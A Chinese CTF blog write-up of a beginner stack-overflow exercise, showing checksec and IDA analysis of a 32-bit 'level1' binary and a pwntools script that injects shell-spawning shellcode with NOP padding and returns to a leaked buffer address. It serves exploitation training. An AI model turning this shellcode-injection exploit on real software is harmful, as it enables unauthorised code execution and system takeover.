pwn栈溢出基础练习题——2

题目地址:请看pwn栈溢出基础练习题——1 ;放了本博客的所有练习题目
pwn1
先checksec看下,发现什么保护都没开,爽歪歪
将level1导入ida,发现buf里ebp只有0x88,但却可写入0x100,明显存在栈溢出
在这里插入图片描述
并发现并不存在直接的后门函数,由于这题关掉了栈不可执行,则可以自己构造shellcode
思路直接往buf中存入shellcode,然后通过溢出操作执行这段shellcode即可
先动态调试看看溢出空间
在这里插入图片描述
则构造shellcode和垃圾数据为136+4=140字节空间,返回地址就为buf地址,由于开启了ASLR,buf地址会变动,但程序中直接给我们打印了buf的地址,非常Nice!!
编写exp.py

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh())
io = process('./level1')
text = io.recvline()[14: -2]

buf_addr = int(text, 16)

payload = shellcode + b'\x90' * (140 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()

\x90:相当于空指令,即使执行到此命令也不会报错,适合填充垃圾字符时使用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值